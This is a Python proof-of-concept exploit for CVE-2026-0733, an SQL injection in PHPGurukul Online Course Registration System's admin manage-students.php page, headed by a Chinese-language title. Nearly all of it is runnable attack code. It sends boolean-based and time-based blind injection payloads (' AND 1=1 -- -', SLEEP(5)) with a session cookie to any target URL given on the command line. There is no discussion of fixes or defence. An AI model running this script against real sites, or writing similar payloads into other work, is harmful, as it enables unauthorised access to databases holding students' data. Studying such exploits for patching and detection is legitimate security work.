CVE-2026-0733 PHPGurukul在线课程注册系统SQL注入漏洞

import requests import sys # CVE-2026-0733 SQL Injection PoC # Target: PHPGurukul Online Course Registration System <= 3.1 # Endpoint: /onlinecourse/admin/manage-students.php def exploit_sqli(target_url, param='id'): """ SQL Injection exploitation using boolean-based blind technique """ # Test payload for boolean-based blind SQL injection true_payload = f"{param}=1' AND 1=1 -- -" false_payload = f"{param}=1' AND 1=2 -- -" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': 'PHPSESSID=your_admin_session_here' # Requires low-priv auth } print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Parameter: {param}") try: # Test TRUE condition resp_true = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{true_payload}", headers=headers, timeout=10 ) # Test FALSE condition resp_false = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{false_payload}", headers=headers, timeout=10 ) # Compare responses to confirm vulnerability if resp_true.status_code != resp_false.status_code or \ len(resp_true.content) != len(resp_false.content): print("[+] SQL Injection Confirmed!") print(f"[+] TRUE response length: {len(resp_true.content)}") print(f"[+] FALSE response length: {len(resp_false.content)}") return True else: print("[-] SQL Injection not detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url): """ Data extraction using time-based blind SQL injection """ # Database version extraction payload version_payload = "id=1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) -- -" headers = { 'User-Agent': 'Mozilla/5.0', 'Cookie': 'PHPSESSID=your_admin_session_here' } print("[*] Extracting database version...") try: import time start = time.time() resp = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{version_payload}", headers=headers, timeout=15 ) elapsed = time.time() - start if elapsed >= 5: print("[+] Time-based blind SQL injection works!") print(f"[+] Response time: {elapsed}s") return True except requests.exceptions.Timeout: print("[+] Time-based blind SQL injection confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target, 'id') extract_data(target)